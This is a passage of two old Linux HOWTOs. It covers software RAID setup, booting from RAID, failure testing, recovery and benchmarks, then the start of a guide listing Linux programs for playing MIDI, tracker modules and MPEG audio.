RAID-{4,5} performance is severely influenced by this option. I am unsure how the stride option will affect other RAID levels. If anyone has information on this, please send it in my direction.

The ext2fs blocksize severely influences the performance of the filesystem. You should always use 4KB block size on any filesystem larger than a few hundred megabytes, unless you store a very large number of very small files on it.

4.10 Autodetection

Autodetection allows the RAID devices to be automatically recognized by the kernel at boot-time, right after the ordinary partition detection is done.

This requires several things:

  1. You need autodetection support in the kernel. Check this
  2. You must have created the RAID devices using persistent-superblock
  3. The partition-types of the devices used in the RAID must be set to 0xFD (use fdisk and set the type to ``fd'')

NOTE: Be sure that your RAID is NOT RUNNING before changing the partition types. Use raidstop /dev/md0 to stop the device.

If you set up 1, 2 and 3 from above, autodetection should be set up. Try rebooting. When the system comes up, cat'ing /proc/mdstat should tell you that your RAID is running.

During boot, you could see messages similar to these:

 Oct 22 00:51:59 malthe kernel: SCSI device sdg: hdwr sector= 512
  bytes. Sectors= 12657717 [6180 MB] [6.2 GB]
 Oct 22 00:51:59 malthe kernel: Partition check:
 Oct 22 00:51:59 malthe kernel:  sda: sda1 sda2 sda3 sda4
 Oct 22 00:51:59 malthe kernel:  sdb: sdb1 sdb2
 Oct 22 00:51:59 malthe kernel:  sdc: sdc1 sdc2
 Oct 22 00:51:59 malthe kernel:  sdd: sdd1 sdd2
 Oct 22 00:51:59 malthe kernel:  sde: sde1 sde2
 Oct 22 00:51:59 malthe kernel:  sdf: sdf1 sdf2
 Oct 22 00:51:59 malthe kernel:  sdg: sdg1 sdg2
 Oct 22 00:51:59 malthe kernel: autodetecting RAID arrays
 Oct 22 00:51:59 malthe kernel: (read) sdb1's sb offset: 6199872
 Oct 22 00:51:59 malthe kernel: bind<sdb1,1>
 Oct 22 00:51:59 malthe kernel: (read) sdc1's sb offset: 6199872
 Oct 22 00:51:59 malthe kernel: bind<sdc1,2>
 Oct 22 00:51:59 malthe kernel: (read) sdd1's sb offset: 6199872
 Oct 22 00:51:59 malthe kernel: bind<sdd1,3>
 Oct 22 00:51:59 malthe kernel: (read) sde1's sb offset: 6199872
 Oct 22 00:51:59 malthe kernel: bind<sde1,4>
 Oct 22 00:51:59 malthe kernel: (read) sdf1's sb offset: 6205376
 Oct 22 00:51:59 malthe kernel: bind<sdf1,5>
 Oct 22 00:51:59 malthe kernel: (read) sdg1's sb offset: 6205376
 Oct 22 00:51:59 malthe kernel: bind<sdg1,6>
 Oct 22 00:51:59 malthe kernel: autorunning md0
 Oct 22 00:51:59 malthe kernel: running: <sdg1><sdf1><sde1><sdd1><sdc1><sdb1>
 Oct 22 00:51:59 malthe kernel: now!
 Oct 22 00:51:59 malthe kernel: md: md0: raid array is not clean --
  starting background reconstruction
This is output from the autodetection of a RAID-5 array that was not cleanly shut down (eg. the machine crashed). Reconstruction is automatically initiated. Mounting this device is perfectly safe, since reconstruction is transparent and all data are consistent (it's only the parity information that is inconsistent - but that isn't needed until a device fails).

Autostarted devices are also automatically stopped at shutdown. Don't worry about init scripts. Just use the /dev/md devices as any other /dev/sd or /dev/hd devices.

Yes, it really is that easy.

You may want to look in your init-scripts for any raidstart/raidstop commands. These are often found in the standard RedHat init scripts. They are used for old-style RAID, and has no use in new-style RAID with autodetection. Just remove the lines, and everything will be just fine.

4.11 Booting on RAID

There are several ways to set up a system that mounts it's root filesystem on a RAID device. At the moment, only the graphical install of RedHat Linux 6.1 allows direct installation to a RAID device. So most likely you're in for a little tweaking if you want this, but it is indeed possible.

The latest official lilo distribution (Version 21) doesn't handle RAID devices, and thus the kernel cannot be loaded at boot-time from a RAID device. If you use this version, your /boot filesystem will have to reside on a non-RAID device. A way to ensure that your system boots no matter what is, to create similar /boot partitions on all drives in your RAID, that way the BIOS can always load data from eg. the first drive available. This requires that you do not boot with a failed disk in your system.

With redhat 6.1 a patch to lilo 21 has become available that can handle /boot on RAID-1. Note that it doesn't work for any other level, RAID-1 (mirroring) is the only supported RAID level. This patch (lilo.raid1) can be found in dist/redhat-6.1/SRPMS/SRPMS/lilo-0.21-10.src.rpm on any redhat mirror. The patched version of LILO will accept boot=/dev/md0 in lilo.conf and will make each disk in the mirror bootable.

Another way of ensuring that your system can always boot is, to create a boot floppy when all the setup is done. If the disk on which the /boot filesystem resides dies, you can always boot from the floppy.

4.12 Root filesystem on RAID

In order to have a system booting on RAID, the root filesystem (/) must be mounted on a RAID device. Two methods for achieving this is supplied bellow. Because none of the current distributions (that I know of at least) support installing on a RAID device, the methods assume that you install on a normal partition, and then - when the installation is complete - move the contents of your non-RAID root filesystem onto a new RAID device.

Method 1

This method assumes you have a spare disk you can install the system on, which is not part of the RAID you will be configuring.

  • First, install a normal system on your extra disk.
  • Get the kernel you plan on running, get the raid-patches and the tools, and make your system boot with this new RAID-aware kernel. Make sure that RAID-support is in the kernel, and is not loaded as modules.
  • Ok, now you should configure and create the RAID you plan to use for the root filesystem. This is standard procedure, as described elsewhere in this document.
  • Just to make sure everything's fine, try rebooting the system to see if the new RAID comes up on boot. It should.
  • Put a filesystem on the new array (using mke2fs), and mount it under /mnt/newroot
  • Now, copy the contents of your current root-filesystem (the spare disk) to the new root-filesystem (the array). There are lots of ways to do this, one of them is
     cd /
 find . -xdev | cpio -pm /mnt/newroot
  • You should modify the /mnt/newroot/etc/fstab file to use the correct device (the /dev/md? root device) for the root filesystem.
  • Now, unmount the current /boot filesystem, and mount the boot device on /mnt/newroot/boot instead. This is required for LILO to run successfully in the next step.
  • Update /mnt/newroot/etc/lilo.conf to point to the right devices. The boot device must still be a regular disk (non-RAID device), but the root device should point to your new RAID. When done, run
     lilo -r /mnt/newroot
    This LILO run should complete with no errors.
  • Reboot the system, and watch everything come up as expected :)

If you're doing this with IDE disks, be sure to tell your BIOS that all disks are ``auto-detect'' types, so that the BIOS will allow your machine to boot even when a disk is missing.

Method 2

This method requires that you use a raidtools/patch that includes the failed-disk directive. This will be the tools/patch for all kernels from 2.2.10 and later.

You can only use this method on RAID levels 1 and above. The idea is to install a system on a disk which is purposely marked as failed in the RAID, then copy the system to the RAID which will be running in degraded mode, and finally making the RAID use the no-longer needed ``install-disk'', zapping the old installation but making the RAID run in non-degraded mode.

  • First, install a normal system on one disk (that will later become part of your RAID). It is important that this disk (or partition) is not the smallest one. If it is, it will not be possible to add it to the RAID later on!
  • Then, get the kernel, the patches, the tools etc. etc. You know the drill. Make your system boot with a new kernel that has the RAID support you need, compiled into the kernel.
  • Now, set up the RAID with your current root-device as the failed-disk in the raidtab file. Don't put the failed-disk as the first disk in the raidtab, that will give you problems with starting the RAID. Create the RAID, and put a filesystem on it.
  • Try rebooting and see if the RAID comes up as it should
  • Copy the system files, and reconfigure the system to use the RAID as root-device, as described in the previous section.
  • When your system successfully boots from the RAID, you can modify the raidtab file to include the previously failed-disk as a normal raid-disk. Now, raidhotadd the disk to your RAID.
  • You should now have a system that can boot from a non-degraded RAID.

4.13 Making the system boot on RAID

For the kernel to be able to mount the root filesystem, all support for the device on which the root filesystem resides, must be present in the kernel. Therefore, in order to mount the root filesystem on a RAID device, the kernel must have RAID support.

The normal way of ensuring that the kernel can see the RAID device is to simply compile a kernel with all necessary RAID support compiled in. Make sure that you compile the RAID support into the kernel, and not as loadable modules. The kernel cannot load a module (from the root filesystem) before the root filesystem is mounted.

However, since RedHat-6.0 ships with a kernel that has new-style RAID support as modules, I here describe how one can use the standard RedHat-6.0 kernel and still have the system boot on RAID.

Booting with RAID as module

You will have to instruct LILO to use a RAM-disk in order to achieve this. Use the mkinitrd command to create a ramdisk containing all kernel modules needed to mount the root partition. This can be done as:

 mkinitrd --with=<module> <ramdisk name> <kernel>
For example:
 mkinitrd --with=raid5 raid-ramdisk 2.2.5-22

This will ensure that the specified RAID module is present at boot-time, for the kernel to use when mounting the root device.

4.14 Pitfalls

Never NEVER never re-partition disks that are part of a running RAID. If you must alter the partition table on a disk which is a part of a RAID, stop the array first, then repartition.

It is easy to put too many disks on a bus. A normal Fast-Wide SCSI bus can sustain 10 MB/s which is less than many disks can do alone today. Putting six such disks on the bus will of course not give you the expected performance boost.

More SCSI controllers will only give you extra performance, if the SCSI busses are nearly maxed out by the disks on them. You will not see a performance improvement from using two 2940s with two old SCSI disks, instead of just running the two disks on one controller.

If you forget the persistent-superblock option, your array may not start up willingly after it has been stopped. Just re-create the array with the option set correctly in the raidtab.

If a RAID-5 fails to reconstruct after a disk was removed and re-inserted, this may be because of the ordering of the devices in the raidtab. Try moving the first ``device ...'' and ``raid-disk ...'' pair to the bottom of the array description in the raidtab file.

Most of the ``error reports'' we see on linux-kernel, are from people who somehow failed to use the right RAID-patch with the right version of the raidtools. Make sure that if you're running 0.90 RAID, you're using the raidtools for it


The Software-RAID HOWTO: Testing

 Next Previous Contents

5. Testing

If you plan to use RAID to get fault-tolerance, you may also want to test your setup, to see if it really works. Now, how does one simulate a disk failure ?

The short story is, that you can't, except perhaps for putting a fire axe thru the drive you want to ``simulate'' the fault on. You can never know what will happen if a drive dies. It may electrically take the bus it's attached to with it, rendering all drives on that bus inaccessible. I've never heard of that happening though. The drive may also just report a read/write fault to the SCSI/IDE layer, which in turn makes the RAID layer handle this situation gracefully. This is fortunately the way things often go.

5.1 Simulating a drive failure

If you want to simulate a drive failure, then plug out the drive. You should do this with the power off. If you are interested in testing whether your data can survive with a disk less than the usual number, there is no point in being a hot-plug cowboy here. Take the system down, unplug the disk, and boot it up again.

Look in the syslog, and look at /proc/mdstat to see how the RAID is doing. Did it work ?

Remember, that you must be running RAID-{1,4,5} for your array to be able to survive a disk failure. Linear- or RAID-0 will fail completely when a device is missing.

When you've re-connected the disk again (with the power off, of course, remember), you can add the ``new'' device to the RAID again, with the raidhotadd command.

5.2 Simulating data corruption

RAID (be it hardware- or software-), assumes that if a write to a disk doesn't return an error, then the write was successful. Therefore, if your disk corrupts data without returning an error, your data will become corrupted. This is of course very unlikely to happen, but it is possible, and it would result in a corrupt filesystem.

RAID cannot and is not supposed to guard against data corruption on the media. Therefore, it doesn't make any sense either, to purposely corrupt data (using dd for example) on a disk to see how the RAID system will handle that. It is most likely (unless you corrupt the RAID superblock) that the RAID layer will never find out about the corruption, but your filesystem on the RAID device will be corrupted.

This is the way things are supposed to work. RAID is not a guarantee for data integrity, it just allows you to keep your data if a disk dies (that is, with RAID levels above or equal one, of course).


The Software-RAID HOWTO: Reconstruction

 Next Previous Contents

6. Reconstruction

If you've read the rest of this HOWTO, you should already have a pretty good idea about what reconstruction of a degraded RAID involves. I'll summarize:

  • Power down the system
  • Replace the failed disk
  • Power up the system once again.
  • Use raidhotadd /dev/mdX /dev/sdX to re-insert the disk in the array
  • Have coffee while you watch the automatic reconstruction running
And that's it.

Well, it usually is, unless you're unlucky and you RAID has been rendered unusable because more disks than the ones redundant failed. This can actually happen if a number of disks reside on the same bus, and one disk takes the bus with it as it crashes. The other disks, however fine, will be unreachable to the RAID layer, because the bus is down, and they will be marked as faulty. On a RAID-5 where you can spare one disk, loosing two or more disks can be fatal.

The following section is the explanation that Martin Bene gave to me, and describes a possible recovery from the scary scenario outlined above. It involves using the failed-disk directive in your /etc/raidtab, so this will only work on kernels 2.2.10 and later.

6.1 Recovery from a multiple disk failure

The scenario is:

  • A controller dies and takes two disks offline at the same time,
  • All disks on one scsi bus can no longer be reached if a disk dies,
  • A cable comes loose...
In short: quite often you get a temporary failure of several disks at once; afterwards the RAID superblocks are out of sync and you can no longer init your RAID array.

One thing left: rewrite the RAID superblocks by mkraid --force

To get this to work, you'll need to have an up to date /etc/raidtab - if it doesn't EXACTLY match devices and ordering of the original disks this won't work.

Look at the sylog produced by trying to start the array, you'll see the event count for each superblock; usually it's best to leave out the disk with the lowest event count, i.e the oldest one.

If you mkraid without failed-disk, the recovery thread will kick in immediately and start rebuilding the parity blocks - not necessarily what you want at that moment.

With failed-disk you can specify exactly which disks you want to be active and perhaps try different combinations for best results. BTW, only mount the filesystem read-only while trying this out... This has been successfully used by at least two guys I've been in contact with.


The Software-RAID HOWTO: Performance

 Next Previous Contents

7. Performance

This section contains a number of benchmarks from a real-world system using software RAID.

Benchmarks are done with the bonnie program, and at all times on files twice- or more the size of the physical RAM in the machine.

The benchmarks here only measures input and output bandwidth on one large single file. This is a nice thing to know, if it's maximum I/O throughput for large reads/writes one is interested in. However, such numbers tell us little about what the performance would be if the array was used for a news spool, a web-server, etc. etc. Always keep in mind, that benchmarks numbers are the result of running a ``synthetic'' program. Few real-world programs do what bonnie does, and although these I/O numbers are nice to look at, they are not ultimate real-world-appliance performance indicators. Not even close.

For now, I only have results from my own machine. The setup is:

  • Dual Pentium Pro 150 MHz
  • 256 MB RAM (60 MHz EDO)
  • Three IBM UltraStar 9ES 4.5 GB, SCSI U2W
  • Adaptec 2940U2W
  • One IBM UltraStar 9ES 4.5 GB, SCSI UW
  • Adaptec 2940 UW
  • Kernel 2.2.7 with RAID patches

The three U2W disks hang off the U2W controller, and the UW disk off the UW controller.

It seems to be impossible to push much more than 30 MB/s thru the SCSI busses on this system, using RAID or not. My guess is, that because the system is fairly old, the memory bandwidth sucks, and thus limits what can be sent thru the SCSI controllers.

7.1 RAID-0

Read is Sequential block input, and Write is Sequential block output. File size was 1GB in all tests. The tests where done in single-user mode. The SCSI driver was configured not to use tagged command queuing.

Chunk size | Block size | Read KB/s | Write KB/s
4k | 1k | 19712 | 18035
4k | 4k | 34048 | 27061
8k | 1k | 19301 | 18091
8k | 4k | 33920 | 27118
16k | 1k | 19330 | 18179
16k | 2k | 28161 | 23682
16k | 4k | 33990 | 27229
32k | 1k | 19251 | 18194
32k | 4k | 34071 | 26976

From this it seems that the RAID chunk-size doesn't make that much of a difference. However, the ext2fs block-size should be as large as possible, which is 4KB (eg. the page size) on IA-32.

7.2 RAID-0 with TCQ

This time, the SCSI driver was configured to use tagged command queuing, with a queue depth of 8. Otherwise, everything's the same as before.

Chunk size | Block size | Read KB/s | Write KB/s
32k | 4k | 33617 | 27215

No more tests where done. TCQ seemed to slightly increase write performance, but there really wasn't much of a difference at all.

7.3 RAID-5

The array was configured to run in RAID-5 mode, and similar tests where done.

Chunk size | Block size | Read KB/s | Write KB/s
8k | 1k | 11090 | 6874
8k | 4k | 13474 | 12229
32k | 1k | 11442 | 8291
32k | 2k | 16089 | 10926
32k | 4k | 18724 | 12627

Now, both the chunk-size and the block-size seems to actually make a difference.

7.4 RAID-10

RAID-10 is ``mirrored stripes'', or, a RAID-1 array of two RAID-0 arrays. The chunk-size is the chunk sizes of both the RAID-1 array and the two RAID-0 arrays. I did not do test where those chunk-sizes differ, although that should be a perfectly valid setup.

Chunk size | Block size | Read KB/s | Write KB/s
32k | 1k | 13753 | 11580
32k | 4k | 23432 | 22249

No more tests where done. The file size was 900MB, because the four partitions involved where 500 MB each, which doesn't give room for a 1G file in this setup (RAID-1 on two 1000MB arrays).


The Software-RAID HOWTO: Credits

 Next Previous Contents

8. Credits

The following people contributed to the creation of this documentation:

  • Ingo Molnar
  • Jim Warren
  • Louis Mandelstam
  • Allan Noah
  • Yasunori Taniike
  • Martin Bene
  • Bennett Todd
  • The Linux-RAID mailing list people
  • The ones I forgot, sorry :)

Please submit corrections, suggestions etc. to the author. It's the only way this HOWTO can improve.


The Linux Sound Playing HOWTO

Yoo C. Chung, wacko@laplace.snu.ac.kr

v1.6, 11 August 1998

This document lists applications for Linux that play various sound formats.

1. Introduction

  • 1.1 Copyright of this document
  • 1.2 Copyright of the listed applications
  • 1.3 Where to get this document
  • 1.4 Feedback
  • 1.5 Acknowledgments

2. Playing Various Sound Formats

  • 2.1 MIDI
  • 2.2 Modules
  • 2.3 MPEG audio streams
  • 2.4 WAV
  • 2.5 Other stuff

3. Other useful sound utilities

  • 3.1 volume
  • 3.2 Sound Studio
  • 3.3 Tickle Music

4. References


The Linux Sound Playing HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Sound Playing HOWTO. It lists the many sound formats and the applications that can be used to play them. It also lists some hacks and advice on using these applications. There are also some other interesting applications related to sound not directly related to playback. However, this document does not describe how one can setup a Linux system for sound support. Refer to the Linux Sound HOWTO by Jeff Tranter for instructions on setting up a Linux system for sound support and the supported sound hardware.

This deals with normal user sound applications. That is, it is only concerned about what the average user needs to know on the application side of sound, not exotic stuff like speech synthesis, or hardware stuff which is dealt in the Sound HOWTO.

1.1 Copyright of this document

This document can be freely distributed and modified (I would appreciate it if I were notified of any modifications), as long as this copyright notice is preserved. However, it cannot be placed under any further restrictions, and a modified document must have the same copyright as this one. Also, credit must be given where due.

1.2 Copyright of the listed applications

If there is no mention of any copyright, then the application is under the GNU General Public License.

1.3 Where to get this document

The most recent official version of this document can be obtained from the Linux Documentation Project. The most recent unofficial version of this document can be obtained from http://laplace.snu.ac.kr/~wacko/howto/.

A Korean version of this document (very outdated) is available at http://laplace.snu.ac.kr/~wacko/howto/Sound-Playing-HOWTO.ks.

A Japanese version of this document is available at http://jf.gee.kyoto-u.ac.jp/JF/JF-ftp/euc/Sound-Playing-HOWTO.euc.

1.4 Feedback

I am not omniscient, and I don't use all the applications in here (a few I can't even try), so there are bound to be mistakes. Also, programs usually continuously evolve, so documentation tends to get out of date. Therefore, if you find anything wrong, please send me any corrections. Suggestions or additions to this document are welcome, too.

1.5 Acknowledgments

All the authors of the applications in this HOWTO. Also, Hannu Savolainen for the great sound driver and Linus Torvalds for the great underlying OS.

I'd also like to thank Raymond Nijssen (raymond@es.ele.tue.nl), Jeroen Rutten (jeroen@es.ele.tue.nl), Antonio Perez (aperez@arrakis.es), Ian Jackson (ijackson@gnu.org), and Peter Amstutz (amstpi@freenet.tlh.fl.us) for their information and help.


The Linux Sound Playing HOWTO: Playing Various Sound Formats

 Next Previous Contents

2. Playing Various Sound Formats

There are many kinds of sound formats (WAV, MIDI, MPEG etc.). Below, we list the various formats and the applications that can be used to play them.

2.1 MIDI

MIDI stands for Musical Instrument Device Interface. MIDI files usually have the extension .mid. They contain sequencing information, that is, information on when to play what instrument in what way, etc. Depending on your hardware (and maybe the software you use to play them), the sound might be awesome, or it might be downright crappy.

adagio

This package includes mp (a command-line MIDI file player) and xmp (an XView based MIDI file player, not to be confused with the module player also called xmp). You will need the SlingShot extensions to use xmp. It also contains other programs for playing Adagio scores.

If you have a GUS, mp can also play MOD files (see section Modules for more information on modules).

One little annoying bug (as of version 0.5 on some hardware) is that the sound breaks at the end. Namely, instead of ending the sound the way the MIDI file specifies, it ends by playing the note right before the last one in a long interval. It hasn't stopped me from using mp, but it might prevent someone from using it for `real' work. It also starts up relatively slowly.

The package does not mention any copyright (at least none that I can find), so I assume it can be freely redistributed and modified. (By a strict interpretation of copyright law, nothing gives one the right to do these things, but I somehow doubt that this was the intention of the author.)

It is a port of the CMU MIDI Toolkit to Linux (though there was enough added to make this questionable) by Greg Lee (lee@uhunix.uhcc.hawaii.edu).

It can be obtained from ftp://tsx-11.mit.edu/pub/linux/packages/sound/adagio05.tar.gz. The binaries included here are in a.out format (linked with ancient libraries), and the xmp binary segfaults in a X11R6 environment (XFree86 3.1.1, libc 4.7.2). The mp binary works fine in an a.out environment.

You will need a bit of hackery to compile it. Actually, it's not much of a hackery. All you have to do is to include the -lfl switch at the end of SHROBJ and XMPOBJ in the Makefile. This is to link in the flex library, which is not linked in by default. Then follow the installation instructions. And don't forget to have XView and the SlingShot extensions installed if you want to compile xmp.

TiMidity

Some people recommend this experimental program because of good sound quality (which is very true, it's much better than mp on a Sound Blaster 16, though it probably won't be much different on soundcards with wavetable synthesis like the GUS). However, it suffers from high CPU loads. It plays MIDI by first converting MIDI to WAV and then plays the WAV (you can also convert a MIDI file to a WAV file without playing if you want). This is the reason for its CPU intensive nature.

It also has an optional ncurses, SLang, Tcl/Tk or Motif interface.

You need Gravis Ultrasound patch files to use this. Look into the FAQ included with TiMidity for more information.

The author is Tuukka Toivonen (tt@cgs.fi).

The latest version of TiMidity can be found at the TiMidity home page. This page also contains a link to a small library of GUS patches.

playmidi

This is a MIDI player that plays to FM, GUS, and external MIDI. It is supposed to have a faster startup time compared to other MIDI players. It is also able to play Creative Music Files, Microsoft RIFF files, and large MIDI archives from games such as Ultima 7.

It has an X interface and a SVGA interface. It also has an option for real time playback with tracking all the notes on each channel and the current playback clock (included automatically with xplaymidi and splaymidi).

You should do something like

$ splaymidi foo.mid; stty sane

if you are going to use the SVGA interface, since it doesn't reset the terminal tty mode properly. The SVGA interface may be removed in the near future.

It was written by Nathan Laredo (laredo@gnu.org or laredo@ix.netcom.com).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/playmidi-2.3.tar.gz.

2.2 Modules

Modules (in computer music) are digital music files, made up of a set of samples and sequencing information, telling the player when to play which sample (instrument) on which track at what pitch, optionally performing an effect, like vibrato for example.

An advantage it has over MIDI is that it can include almost any kind of sound (including human voices). Another is that it sounds just about the same on any platform, because the samples are in the module. A disadvantage it has is that it has a much larger file size compared to MIDI. Another one is that it has no real standard format (the only `real' one is the ProTracker, which many modules aren't quite compatible with). It originated on the Amiga.

The most common format has the extension .mod. There are many other extensions depending on what format they are in.

tracker

This very portable program (it has been ported to many platforms) plays Soundtracker and Protracker music modules. It uses 16 bit stereo output, and I consider the quality to be very good. If you need a simple way to reduce CPU load use the -mono option.

This is a giftware program (quoting the author). It is by Marc Espie (Marc.Espie@ens.fr).

A version of this with the Makefile already tweaked for Linux can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/tracker-4.3-linux.tar.gz.

gmod

This is a music module player for the Gravis Ultrasound card. 4/6/8 channel MOD, 8 channel 669, MultiTracker (MTM), UltraTracker (ULT), FastTracker (XM), and ScreamTracker III (S3M) are the supported formats.

It requires a version 3.0 or later sound driver. And a GUS, of course. You may need to modify the kernel to make volume control work the way you want.

This has an X interface. It uses the QT toolkit (needs version 0.99 or greater). Check the QT toolkit homepage for information on QT.

This can be freely distributed. It was originally written by Hannu Savolainen, and now maintained by Andrew J. Robinson (robinson@cnj.digex.net).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/gmod-3.1.tar.gz.

MikMod

This portable module player plays XM, ULT, STM, S3M, MTM, MOD and UNI formats. (The UNI format is an internal format used by MikMod.) It has support for zipped module files. It uses 16 bit stereo for the sound output. Use the -m option (for mono output) if you need a simple way to lower the CPU load.

The Unix version can either use ncurses or Tcl/Tk for its interface. It can also be used as a library, not just an independent program.

It was originally written by Jean-Paul Mikkers (mikmak@via.nl). It is now maintained by Jake Stine (dracoirs@epix.net). This is shareware that has to be registered if you want to use it commercially. You also need permission to redistribute it commercially (non-commercial redistribution does not need such permission).

This can be found at the MikMod home page.

xmp

This is a module player (not to be confused with Adagio's xmp) which can play MOD, S3M, MTM, PTM, PTR, STM, 669, and XM modules (other formats are also supported, but still experimental or incomplete). If you have soundcards with wavetable synthesis (GUS or SoundBlaster 32AWE), then you can use this feature of the soundcard to lower the load on the CPU. It also supports compressed modules.

An X frontend to xmp is also available.

This was written by Claudio Matsuoka (claudio@pos.inf.ufpr.br) and Hipolito Carraro Jr.

This can found at the xmp home page.

s3mod

This plays 4/6/8 track MOD modules and Scream Tracker 3 modules. It uses 8 bit mono output with a sampling rate of 22000 Hz by default. You can use the option -s to enable stereo, -b to enable 16 bit output, and -f to set the sampling frequency. However, the sound output is worse than tracker (some noise), so I recommend using tracker instead of s3mod for playing ordinary MOD files (unless you have an underpowered machine). It has a much smaller CPU load compared to tracker.

It is copyrighted by Daniel Marks and David Jeske (jeske@uiuc.edu), but you can do anything you want with it (except that you can't claim you wrote it).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/s3mod-v1.09.tar.gz.

mod

This beta program plays MODs (15/31-instrument, up to 32 voices), MTMs, ULTs and S3Ms on the Gravis Ultrasound card. It can also use packed modules if you have gzip, lharc, unzip, and unarj installed. It cannot play Powerpacked modules or modules packed with some Amiga composers ("PACK" signature).

This requires at least version 3.0 of the sound driver. It won't work with the 2.90-2 or earlier version of the sound driver. The text interface requires ncurses. There is also an X interface included, which uses Tcl/Tk.

It was written by Mikael Nordqvist (mech@df.lth.se or d91mn@efd.lth.se).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/mod-v0.81.tgz.

nspmod

This is an alpha module player which can play MTM, S3M, and MOD modules. It is intended to be a module player for soundcards without a DSP (not to be confused with what Creative Labs calls a DSP). It has a CPU load somewhat similar compared to tracker.

It has a feature which lets modules loop if they want to. The number of loops can be limited by the -l option. It uses only 8 bit sound output (as of version 0.1).

This was written by Toru Egashira (toru@jms.jeton.or.jp).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/nspmod-0.1.tar.gz.

yampmod

This alpha program was designed to play 4-channel modules using the minimum of CPU resources. It was not designed to produce high quality sound. So the only sound output it produces is 22 kHz mono output. Also, the output isn't as clean as it should be, reflecting its alpha status.

It was written by David Groves (djg@djghome.demon.co.uk).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/yampmod-0.1.tar.gz.

2.3 MPEG audio streams

MPEG is a standard specifying the coding of video and the associated audio for digital storage. MPEG is usually associated with video, but the audio part of the standard can be used separately. The audio part of the MPEG standard defines three layers, layer I, II, and III. Players that can decode higher layers can also decode lower layers (e.g. layer III players can play layer II files). Layer I MPEG audio files usually have the extension .mpg (so if there is a file with this extension that can't be played by a MPEG video player, it's probably an audio stream), layer II usually have the extension .mp2, and layer III usually have the extension .mp3. The audio compression is pretty good. A two megabyte layer II MPEG audio file will probably take up 25 megabytes for a raw PCM sample file with the same quality.

mpg123

This beta program is an efficient MPEG audio stream player, which has support for layers I, II, and III. It is based on code from many sources. It is able to play in real time streams that are read by HTTP (i.e. one can play an MPEG audio stream directly over the World Wide Web).

The main author is Michael Hipp (Michael.Hipp@student.uni-tuebingen.de). It may be used and distributed in unmodified form freely for non-commercial purposes. Inclusion in a collection of free software (such as CD-ROM images of FTP servers) is explicitly allowed.

The latest version can be obtained from the mpg123 homepage.

maplay 1.2

This MPEG audio stream player only has support for layer I and layer II streams, and lacks support for layer III streams. It supports 16 bit sound cards on Linux.

It is pretty CPU intensive, taking up to about 55% CPU time on a 60MHz Pentium. The output is intolerable on a 66MHz 486 because the CPU just can't catch up with the sound. If this happens to you, try playing only one side of the audio stream (with the -l or -r option), instead of the default stereo.

A slight change in one of the files may be necessary in order to compile it. Namely, you may need to add the following line to the beginning of the file configuration.sh.

#! /bin/sh

The author is Tobias Bading (bading@cs.tu-berlin.de). maplay 1.2 can be obtained from ftp://ftp.cs.tu-berlin.de/pub/misc/maplay1.2/maplay1_2.tar.

maplay 1.3b

This is an unofficial modification (i.e. not by the original author) of maplay 1.2, so that it can run with a much lower load on the CPU. It accomplishes this mainly by making u-law output actually work on other platforms besides the SPARC. Note that it uses u-law output by default, so the sound quality is lower.

The modifications were made by Orlando Andico (orly@gibson.eee.upd.edu.ph).

This can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/maplay-1.3b-Linux.tar.gz.

maplay3

This is another derivative of maplay 1.2. It adds support for MPEG Layer 3 audio streams. Currently it seems to have some bugs in its playback (you may hear some screeching noises). You may have to twiddle with the options to solve this.

The modifications were made by Timo Jantunen (timo.jantunen@hut.fi or jeti@cc.hut.fi). It says that it can be used freely, but making money off of it is not allowed. However, I'm not entirely sure about the validity of this copyright, since the original maplay is under the GNU General Public License, which does not allow derivative works to have a different copyright.

This can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/maplay3.tar.gz.

splay

This beta player is another derivative of maplay 1.2 (actually, it is a derivative of maplay 1.2+, which is a MS Windows only derivative of maplay 1.2). It adds support for MPEG Layer 3 audio streams. It is also able to play WAV files. It can also play audio streams received over an HTTP connection.

Another feature of splay is that it can be used as a library (under the LGPL), so that it can be used in other programs. It also tries to improve performance by using threading (you need pthread to use this feature) and a little inline assembly.

splay uses a command line interface and an optional X interface (which uses QT).

If after compiling it doesn't work (e.g. it segmentation faults), try compiling it again without threading.

This is by Jung Woo-jae (jwj95@eve.kaist.ac.kr).

It can be obtained from splay's home page.

Sajber Jukebox

This program is a MPEG audio player with a graphical user interface. It is based on splay, so it includes support for MPEG audio layers up to III. It is also able to play MPEG audio streams in real time with the stream being fed by HTTP. It is also easy to configure.

It uses the QT toolkit (at least version 1.2 is required). It also uses the LinuxThreads library (the included binary only works with version 0.5).

The author is Joel Lindholm (wizball@kewl.campus.luth.se).

The latest version can be obtained from ftp://kewl.campus.luth.se/pub/jukebox.

amp

This beta MPEG audio player only has support for MPEG Layer 3 audio streams. It is able to play directly to the soundcard, and it can output to raw PCM or WAV files. This also gives quite a load on the CPU (about 60% on a 133MHz Pentium).

This was written by Tomislav Uzelac (tuzelac@rasip.fer.hr). It can be freely used and distributed, as long as it is not sold commercially without permission (including it in CD-ROMs that contain free software is explicitly permitted, though).

It can be obtained from ftp://ftp.rasip.fer.hr/pub/mpeg/amp-0.7.3.tgz.

XAudio

This alpha library was written to be a fast implementation of an MPEG audio decoding library to be used by various GUI front-ends. It supports MPEG audio layers I, II, and III. It is capable of random access to bitstreams. A command-line interface is included. A Motif (Lesstif) front-end is also included in the Linux version.

This is by Gilles Boccon-Gibod, Alain Jobart and others. The front-ends to the libary can be freely downloaded. The library itself must be licensed to be used (a source and binary license is available).

The front-ends to the library can be obtained from the XAudio home page.

Layer 3 Shareware Encoder/Decoder

This is actually a converter that converts MPEG Layer 3 audio streams to WAV, AIFF, SND, AIFC, or just raw PCM sample files. The Linux version does not directly output the sound to the soundcard. One has to first convert it to some other format.

However, when you try to play a converted file using sox, you'll probably just get noise because the word order in the PCM samples is not right (at least on Intel platforms). You need to give sox the option -x to solve this problem. But there are some players that don't have to be told that the word order is wrong, so you might not have to worry about this.

